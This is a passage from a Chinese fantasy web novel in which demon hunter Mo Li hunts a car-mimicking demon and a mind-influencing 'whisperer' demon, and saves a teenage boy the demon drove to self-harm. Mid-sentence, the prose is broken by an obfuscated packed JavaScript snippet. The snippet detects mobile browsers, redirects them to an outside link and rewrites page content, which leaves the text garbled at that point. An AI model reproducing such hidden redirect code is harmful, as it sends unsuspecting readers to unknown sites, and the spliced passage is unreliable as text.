笼子里奇形怪状的恶魔起初嫌弃地嗅了嗅那些肉块，仿佛那是一堆屎，但墨特西亚用粗哑的嗓子骂了声：“你们这些小畜牲不吃东西下一次我就把你喂给你隔壁的畜牲！”后，它们就耷拉着头不情不愿地吃起“屎”来。 吃了几口，又开始大快朵颐。 看得莫离连连感叹墨特西亚老爷子不愧是老前辈，治恶魔有一手，墨特西亚把桶放地上看向他：“那家伙可不好相处，锻器不看钱，只看心情，维加斯去找他都吃了两次闭门羹。” “但是，”墨特西亚话锋一转：“找他专门定制的武器往往比其他半吊子锻器师做出来的要坚固、精巧得多，那家伙的手艺确实无可厚非。简·马奎尔，那家伙给维加斯做的剑至今还像刚出炉的，锋利得不像话。” “听你这意思，我非找他不可了。”莫离垂目，想到自己想定制的武器也许真只有马奎尔这样的锻器师才能做出来。 他决定要去一趟利利亚斯找马奎尔。 叩叩叩。 门被推开，维加斯探身进来，眉头在看到莫离后竟莫名扬了起来。 莫离刚看清是维加斯，下一秒维加斯就闪现到他面前，高大的身躯想一堵墙。 “莫离，卡罗莱说你想加入讨伐，可以亲自来找我的。” 维加斯脸还是那副冷淡的表情，和面瘫的区别就是眉头比面瘫多上扬了几个像素点，语气听起来却诡异地多了分不高兴的不解。 莫离：“……” 因为看到你我就想起那个压榨我的人渣老板，有点发怵…… 莫离没说实话，而是开始跑火车：“你身为猎魔公会的管理者，位高权重，日理万机，我对你怀有深深的敬畏之心，以至于不敢随意越位亲自找你……” “可以来找我。”维加斯打断他，直视着莫离的脸，一字一句，听起来像在念诗：“不管什么时候，都可以来找我。” 莫离：？ 他不确定地棒读：“那……感恩？” 听到这话，维加斯眉头那点儿掺着紧张的高兴才掩饰下去：“嗯。” 见维加斯没有不满，莫离稍微放下心，他还以为越级找人是违反规定的呢。 “所以我能不能参加讨伐？”他只关心这一点。 维加斯认真地注视着莫离说话的神情，纯粹的欣赏藏在热烈的曜日金瞳后。 他看着莫离的眼睛，说：“已经将昨晚那只［祸物级］恶魔成功猎杀的你说想参加讨伐，我对此只能回答是的，欢迎。” 莫离：！太好了。 他迫不及待问：“讨伐成功能有多少钱？” 维加斯一怔。 维加斯身后的卡罗莱听到这话，扶额笑出声。墨特西亚一个老前辈也有些绷不住了，皱巴巴的脸扯起微笑。 他们还是第一次见对钱如此有执念的猎魔人！ 莫离知道他们在笑什么，也跟着微笑：“没办法啊，谁叫我有了份烧钱的工作呢？钱像柴火一样烧尽，流水一样流走。” 维加斯注视着莫离的眼睛微微睁大，不解：“什么工作要烧钱？” 墨特西亚和卡罗莱也看向莫离，你还有其他工作？ 莫离在三人注视下耸耸肩：“养孩子啊。” 12. 讨伐拟态型恶魔（猎魔日常） 既然已经得到讨伐资格，那武器就更得抓紧定制了。 还没搞懂身上那个只有战斗时才会出现，堪比赌/博的挂，莫离觉得一切还是得靠自己。 为了以防万一，自己要再接一个任务攒定制武器的钱。 正好维加斯说能找他，莫离也不客气，抓住机会就问：“维加斯管理者，你知道找马奎尔先生定制武器要多少钱吗？” 维加斯看着莫离，本来想说“猎魔公会可以提供任何武器”，可张口就成了：“不管需要多少钱，我可以帮你付，不用担心。” 莫离秒回：“那不行。” 他的原则就是：不能随便吃嗟来之食，饿死前另说。 能自己干的就自己干，干不了的才麻溜放弃。 从姐姐身上学来的优良品质不能忘。 “维加斯管理者你身为公会老大，照顾新人可能是惯例，但我真不需要。”莫离拒绝得飞快。 维加斯面瘫的冷漠脸有了半分松动，不仅因为被拒绝，更因为莫离好像将他私人的举动误会成照顾新人的惯例了。 他张了张嘴，最后什么也没说，只乖乖地嗯了声，回答：“马奎尔先生定制武器有自己的规矩，更多的时候看心情，我在他那儿花了一百金币。” 一百金币，就是一万银币，等于一百万！ 莫离想闭目静静，穷光蛋不会梦到要花一百万定制武器…… 卡罗莱从维加斯身后探出脑袋：“小茉莉别沮丧，马奎尔先生也有可能不收钱！他脾气古怪，讨他喜欢的人他不收费，你肯定能讨他喜欢！而且维加斯的武器是上品，花钱多很正常，别跟他比。” 维加斯怔了几秒：“那看来我并不讨马奎尔先生喜欢……” “别伤心……”卡罗莱拍了拍维加斯的肩膀，看热闹不嫌事大道：“可能因为你的脸比较吓人。” 维加斯习惯了卡罗莱开玩笑，但偏偏莫离也点点头。 于是维加斯：“……” 被忽略在一旁的墨特西亚：“……” “你们要聊出去聊，一个两个在这儿开茶话会呢？别打扰我工作。”墨特西亚像印象画的皱巴巴的脸浮现出几分无语，不满跃然纸上。 地上那个铁桶在他的声音落地后没有任何预兆飞起来，像一个驱赶人的扫把要把人赶出去。 “快走快走！墨特西亚要生气了！”卡罗莱大笑着招呼维加斯和莫离趁着墨特西亚还没发火赶快逃出地下室。 墨特西亚哼了一声，把门关上，隔绝恶魔们的声音。 “哈哈，墨特西亚生气起来还是可怕的……”卡罗莱喘笑两声，向莫离解释。 不仅跟恶魔打交道，还有［养魔人］这种名讳，墨特西亚怎么想也不简单。莫离对此了然。 为了让艾琳薇安心，他又向卡罗莱询问了那些纺织女工的现状。不管是生还是死，他都需要对牵挂着这事的艾琳薇有交代。 万幸，卡罗莱告诉他，那些被抓走的纺织女工没有死，只是头和后背受了比较严重的伤，需要长时间静养。 能从恶魔手下幸存就是最好的消息，艾琳薇听到这个消息肯定会很高兴。 莫离放心记下，马不停蹄去接新任务。 任务榜上的任务所剩无几，莫离看了两眼，都是普通恶魔在骚扰居民，不算高难度任务，索性全部接下。 这一次卡罗莱要待在公会收集猎魔人找到的线索，不能陪莫离一起出任务，只能朝莫离招手目送莫离离开：“加油啊小茉莉！任务顺利！” 身侧的维加斯也一动不动地目送着莫离离开，眉梢闪过一丝遗憾，内心希望自己没有工作。 莫离招手回应，拿着地图转身往目的地走。 奥德里尔最近说太平也不太平，说冷清也不冷清，不管恶魔如何出现破坏宁静，又如何给他们带来创伤，他们都得继续循规蹈矩地生活。 街道上旁的铺子还在做生意，人流尚可，昨天什么样今天就什么样，偶尔还能看到猎魔人的身影。 三张任务单上的恶魔都在一个地点，K字大道。 有普通恶魔频繁出现在K字大道骚扰居民，居民们不堪其扰，忍无可忍后掏钱在公会张贴了任务单。 被公会刨去一部分费用后，完成任务能拿四十银币，收入很可观。 莫离一想到能拿钱就忍不住轻笑，不禁加快了步伐。 要到K字大道要先经过一道桥。桥横跨奥德里尔河宽阔的河面，将K字大道和奥德里尔主街道连接在一起。 这头是有围墙的主街道，那头则是有一片林子的K字大道。 莫离走上桥，注意到对面驶来一辆汽车。 汽车线条流畅，整体是暗沉的黑色，边框则嵌着银色，看起来非常华贵，一看就是有钱人才买得起的东西。 复古汽车在奥德里尔很少见，莫离推算过时间轴，按理来说这种类型的汽车在这个世界还没被发明出来，但它们就是存在，有种违和的感觉，让他只能用这个世界发展线不一样来逻辑自洽。 嘀—嘀—— 汽车经过时发出鸣笛声，莫离抬眼看向声源，却只看见车影如幽灵闪过。 车窗帘子遮住了车内风光，莫离没有看到任何人影的可能。 可能只是车主在愚弄人吧。莫离正想走，视线随着垂目的动作落在干净整洁的桥面上。 干净整洁的桥面？！ 他马上将视线拉远看向那片林子，从林子蜿蜒而出的不是柏油路，而是未经铺设的泥路。 车轮怎么可能会那么干净？！ 莫离迅速转身朝着那辆车跑去，“喂！前面的车，停下！” 汽车并没有理会他的叫唤，而是朝着正前方继续猛冲。 莫离见状不妙，用力地将背后的弯刀甩向那辆汽车。 汽车万万没想到莫离会对自己出手，前轮来得及躲，后轮躲闪不及，弯刀一下子劈砍到后备箱上。 砰！ 被砍中的汽车肉眼可见地抖了抖，像是痛到抽搐了一下。 莫离：？ 汽车成精了？ 是恶魔！ 莫离脑子刚升起这个念头，身子已经下意识朝汽车奔去。 看到莫离朝自己跑来，汽车大惊失色地缩了缩身子，方向盘猛地一转，慌不择路轮子转冒烟往回跑。 汽车和莫离擦肩而过，带起的尾风掀起莫离的头发，让莫离吃了一嘴头发。 莫离风中凌乱了几秒，身体随之涌起一股热血的兴奋。 业绩来了！报酬说不定和昨天的［纺织幽灵］一样！ 虽然经常开玩笑说自己这儿肾被掏走，那儿肝被摘掉，但其实莫离的体力还不错，追着汽车连跑五公里。 边跑边大声忽悠汽车恶魔：“你停下来，我保证不打你。” 汽车闪了闪尾灯，仿佛在回答：我才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498445|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信你呢！ 它时而加速向前跑，时而放慢速度慢悠悠，把莫离当上钩的鱼来溜，像在报复刚刚莫离砍它的那一下。 反应过来自己被一只［拟态型］恶魔戏耍后，莫离向来波澜不惊的脸有了几分恼意，我靠！这恶魔是不是有病？ 跑到一片居民区后他干脆不追了，直接停下。 他叉着腰喘了两口气，气笑的声音从喉咙里轻滚出来：“我的目的地到了，等着，我做完这任务就弄你。” 闻言，汽车像恶狗挑衅人类那样晃了两下车尾，而后扬长而去。 哼。莫离冷哼一声，将视线挪向两侧的居民房。 他正立一条宽阔而宁静的大道上，四周有居民房聚集。 这儿就是K字大道，恶魔频繁出现的地方。 此时日过午半，太阳却藏于云后，显得坦途的大道有些阴沉。 莫离将弯刀插回腰后刀鞘，寻找居民询问情况。 居民楼之间离得不算近，每所房子前都有篱笆隔栏院子，小径通前门。 莫离看了一圈都没发现人影，不知道是去工作了还是去做什么了，周围寂静得出奇。 奇怪，太奇怪了。 这地方的居民出钱请猎魔人来处理恶魔，如今眼下却不见半个人影。 该不会是被恶魔灭口了吧？ 怎么可能？猎魔人就晚来两天人就被灭口了？哪只恶魔那么有本事？莫离摇摇头把这种逆天可能褪去。 莫离警惕地走过那些房子的门前，直到路过一间筑起高篱笆的院子，忽然听到一阵微弱的哀怨的啜泣声从院子里幽幽传出。 呜呜呜……呜呜呜…… 他眸光微闪，上前两步敲门，张口就来：“你好，我是跑腿的，汤姆医生让我帮忙送药。” 那道微弱的啜泣声戛然而止，片刻后，莫离看到有人往这边走来，篱笆小门忽而被打开。 “你是不是走错了？我这儿没有人需要吃药。” 年轻而瘦弱的男孩红着眼望向莫离。发现是一张陌生却惊绝的脸后，微微一怔。 “走错了？你这儿难道不是K字大道道格拉斯家吗？”莫离面上惊讶，实则悄悄观察男孩。 男孩看起来最多十五岁，面容哀愁，再加上泪眼，怎么看都像是遭到了什么伤心的事。 “我们是荣秀斯家，道格拉斯家在后面两条路。”男孩低下头，紧张地抓了抓衣角。 “啊，那是我搞错了！来之前我还信誓旦旦保证送达，没想到第一次来果然迷路了，感谢你！”莫离赶紧道歉加道谢。 见男孩并没有马上关门的意思，他继续不动声色庆幸说：“来之前听说这儿有恶魔出现，据说害伤了好几个人，我还有些担心安危，幸好，它们没有出现！” “恶魔”二字仿佛一颗石子投入男孩的心湖，男孩脸上划过一丝不明的情绪。 “大人们都说那是恶魔，认为那需要清除，但我觉得不是……”男孩小声地自言自语，“伤人？怎么可能？它那么弱小，怎么可能伤人……” “你知道是怎么回事吗？”莫离轻声询问。 男孩咯噔一下后退半步，怯懦的目光只看了一眼莫离就马上收起。 他猛地把小门关上，“我不知道！我什么也不知道！” 吃闭门羹的莫离淡定地轻抿唇。 此地无银三百两，这个男孩绝对知道关于恶魔的线索！ 13. ［低语者］（猎魔日常） 男孩绝对知道关于恶魔的线索，但是，莫离也没办法强迫男孩说什么。 他总不能闯进人家家里揪着人家说“老实交代关于恶魔的一切！”吧？ 这跟强盗有什么区别？ 莫离决定还是再看看，这次他不再用眼睛观察，而是上手敲门。 居民在任务单上描述，其实他们也没有亲眼见过那些恶魔的模样，虽然那些恶魔没有杀害他们的意思，但总是骚扰他们。 比如总是把他们带到莫名其妙的地方，总是打乱家里的东西，总是模仿他们的语气和身形打扰邻居，破坏邻里和谐，已经严重干涉了他们的生活！ 根据这些说法，这里的居民应该或多或少都了解恶魔的情况。 他一间一间门去敲，这间房子敲不开就到下一间敲。 出乎意料的是，竟然没一间房子有人回应！ 万籁俱寂，只有微风晃动草影，鸟儿惊掠树梢。 越是安静，莫离就越觉得诡异，因为他实实在在感受到了一种注视感。 这种注视并不强烈，怎么说呢，就好像藏在暗处的东西正在观察你，你并不知道它在哪儿，但正因为它正在观察你，所以你潜意识觉得不安。 和昨天的［纺织幽灵］的注视有些像，但更加隐蔽。 莫离慢慢升起一股念头：“难道我要离开？” 这个念头一出，旋即被另一个念头给压下去： 不行，任务没完成他不可能离开！ 强烈的赚钱欲望令莫离开始反思，为什么这地方那么安静？为什么没有人影？ 为什么，他会产生离开的念头？ 被压制的理性一点点溢出，莫离反应过来： 和［恶魔低语］一样的东西早在他踏入K字大道后就开始侵蚀内心了！ 卡罗莱说过，恶魔侵蚀意志的方式多种多样，像［恶魔低语］尚可捂住耳朵来避免精神混乱，其他方式就难以应付了。 毕竟他总不能蒙上眼睛吧？ 莫离再次将视线放在任务单上。 前面说恶魔总是将他们带到莫名其妙的地方，总是把家里的东西打乱，听起来这恶魔性格非常顽劣，纯把他们当玩具耍。 与之对应的能力应该是隐形或者低存在感。 但后面又说，恶魔还会模仿他们的身形和语气骚扰邻居，这又和前面的隐形能力相悖。 低级恶魔只有一种能力，不可能既会隐形又会模仿。 嘶——三个任务还真分别对应三只恶魔吗？ 要对付三只恶魔的莫离觉得有点亏，心里吐槽道：你们那么多恶魔聚一块儿不应该打起来吗？ 看来还是得从刚刚那个哭泣的男孩身上找线索。 莫离往回走，为了不让自己被恶魔侵蚀意志，心里默念： 我要赚钱，我要赚钱，我要赚钱…… 这话效果奇佳，莫离一念脑子里就蹦出各种头疼事：要赚一百万定制武器、要赚一百万养七个孩子、七个孩子各有各的麻烦…… 再强的恶魔侵蚀都在莫离赚钱的欲望前败下阵来，而想起一切现实的莫离额头突突疼。 莫离回到刚刚那座高篱笆院，也就是荣秀斯家，抬手敲了敲门。 “你好，小朋友，我找你有些事情，有空谈谈吗？” 一秒，两秒，一分钟过去，莫离没收到一点儿回应。 他微微挑眉，提高音量：“你好，小朋友，我可以进去吗？” 等待半分钟还是没回应后，莫离当机立断强行推开门：“抱歉！猎魔人莫离冒犯了！” 丝丝缕缕的血腥味在踏入院子的瞬间钻入鼻子，莫离心道不妙，马上冲进房子。 杂乱昏暗的客厅里，一个人无力地仰躺在地上，血液从他纤细的腕口流出，在地板上铺陈开一片猩红。 莫离脑子有一瞬空白，回过神来后迅速将男孩捞起，手撕外套包扎男孩手腕的伤口。 男孩另一只手握着一把锋利的刀，刀锋带血，印证了男孩是自杀的。 莫离还在尽力给男孩进行抢救，脑子倏然蹦出放弃的念头：“他已经没救了，为什么还要救他呢？” 这次的念头更强烈，如同攀附在颈后的毒蛇游弋而上，从耳朵钻进大脑，压过那些不想放弃的声音，一字一句地说： 他已经没救了，我做什么都是徒劳。 莫离知道这是恶魔的手笔，咬牙：“管你这的那的，我想做就做！” 止住血后，男孩有了动静，痛苦蹙眉缓缓睁开眼。 见男孩没死，莫离松了口气，将男孩抱到沙发上。 男孩万万没想到莫离会那么快折返回来，因为失血而苍白的脸上闪过一丝意外。 他挣扎着起身想去哪儿，但是莫离伸手把他按在沙发上，“你为什么要自杀？” 这话仿佛碰到男孩某根神经，让他一下子慌张想逃。奈何莫离力气大，被按住的他动弹不得。 没一会儿，他就因为血量不足头晕，身子颤颤巍巍倒下去。 莫离松开按住他肩膀的手，放轻声音：“告诉我，到底发生了什么？这儿的恶魔是怎么回事？” 男孩强撑精神，气若游丝还想嘴硬：“我、我不知道……” “再不说其他人就都要死了。”莫离直视着他。 男孩震悚地想起身，却因为身上的伤不得不躺着，反驳：“不可能，它怎么可能会把所有人都杀了！” “可你刚刚不就差点儿因为它死了吗？”莫离平静反问。 男孩沮丧地垂下头。疼痛使人清醒，莫离一番话也像一把锤子敲破他建起来的把自己围住的玻璃房。 他想起今天早上爸爸和往常一样拿自己出气，自己却没有任何还手的力气，只敢躲在院子里哭泣。 他想起自己从院子回来后，越想越伤心，越想越觉得生活无望，精神开始恍惚。 等回过神后，意识已经是一片朦胧，只看到莫离这个陌生人来救他的画面了。 意识到自己或许被欺骗了后，男孩声音微弱，声线却委屈伤心：“不，不是这样的。它和我一样弱小，做不到伤害大家……” 他越说越明白一切都是虚假的，鼻子一酸，眼泪噼里啪啦落下来，终于说了实话：“我不知道一切是怎么回事，它只是在大家身边晃悠，在大家的耳边说话而已。它说它想跟大家说说话，听听大家想做什么，说要让大家做想做的事情……” 做大家想做的事情？ 莫离已经有了结论，这恶魔实际能力恐怕不是隐形和模仿，而是——［干扰想法］。 居民们说恶魔会将他们带到莫名其妙的地方，总是打乱家里的东西，但其实，或许是恶魔通过洗脑改变了他们的举动，让他们忘记了一切都是自己做的。 而说恶魔总是模仿他们的语气和身形打扰邻居，其实真正打扰邻居的还是他们自己，只是他们忘记了而已。 一片宁静的居民区，大家都知道有恶魔存在，却不知道恶魔在哪儿，只是一次又一次被恶魔干扰想法，一遍又一遍做着连自己也不知道的事情…… 就像是进行着一场梦游，只有当事人被蒙在鼓里。 甚至就在刚刚，恶魔还干扰了男孩的心理，让男孩自杀不自知。 而且那恶魔还试图干扰他，让他离开。 莫离起了一身鸡皮疙瘩，追问：“那恶魔长什么样？现在在哪儿？” 问出这话时，莫离身后忽然感觉背后一凉。 那股注视感更加强烈，仿佛某处紧紧盯着他的眼睛下一秒就要贴上来！ 莫离猛地回头，弯刀随着他抽刀的动作翻出被他握在手中 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莫离顿感棘手，转念一想如今自己激发了脑子里那道赌/博挂，稍感安慰。 起码自己还有挂。 莫离握紧弯刀，被蚂蚁啃食般的感觉因为自己坚定信念而略有减弱。 恶魔的弱点就是本体。本体在哪儿？ 他转头看向男孩，“你见过它吗？它现在在哪儿你知道吗？” 男孩抬起眼泪未干的眼睛：“见过……但我不知道它在哪儿，它有时候会去布林家，有时去菲特力家，有时候又去玛尔达家。它是一只小狗，随心所欲。” 狗？ 话虽如此，莫离觉得这“小狗”应该只是恶魔力［低语者］的伪装。 真正的本体是恶魔的弱点，恐怕藏在了某处。 不然为什么他一路上都受到［低语者］的侵扰，却没见过任何一只小狗的出现？ 莫离一边给自己堵耳朵，一边思考要怎么寻找拥有［低语者］能力的恶魔。 等等，谁说他一定要去寻找恶魔？就不能让恶魔自己主动送上门吗？ 恶魔能力是干扰心智，强化念头…… 如果让另一道念头压过恶魔干扰过的念头，恶魔的能力岂不是就不奏效了？ 就像刚刚，他要赚钱的念头压过了恶魔让他离开的念头。 如果是这样，那……他知道应该怎么引诱恶魔出来了。 “砰！砰！砰！” 莫离站在荣秀斯家门前，手拿一根铁棍用力地敲着两只倒扣在地上的铁桶。 他每敲两下，就大声说：“我要把恶魔杀了！” 砰！砰！砰！ 铁桶声落，莫离声音响起—— “杀死恶魔的人是我！” 砰！砰！砰！ “我一定会把恶魔杀了拿钱！” 莫离不仅敲得卖力，念得也很有信念感，既像在嚣张宣告，又像在自我洗脑。 念了一会儿，莫离还真觉得信心倍增，念台词都有力量了。 这正是他想要的，反洗脑的办法就是先洗脑自己不会被洗脑！ 以魔法对付魔法！ 莫离的举动在寂静的K字大道居民区实在显眼又突兀，像是强行闯入一部排演好的睡觉片里那个打扰人睡觉的场外人员。 没有哪个导演能容许自己拍的片子被人破坏，恶魔也是如此。 唰—— 恶魔风卷残云般赶到莫离面前，愤怒地大声说：“住嘴！住嘴！住嘴！别念了！” 莫离听不懂恶魔的话，也没看见恶魔的影子，只感受到什么东西正在企图抢走自己手里的棍子。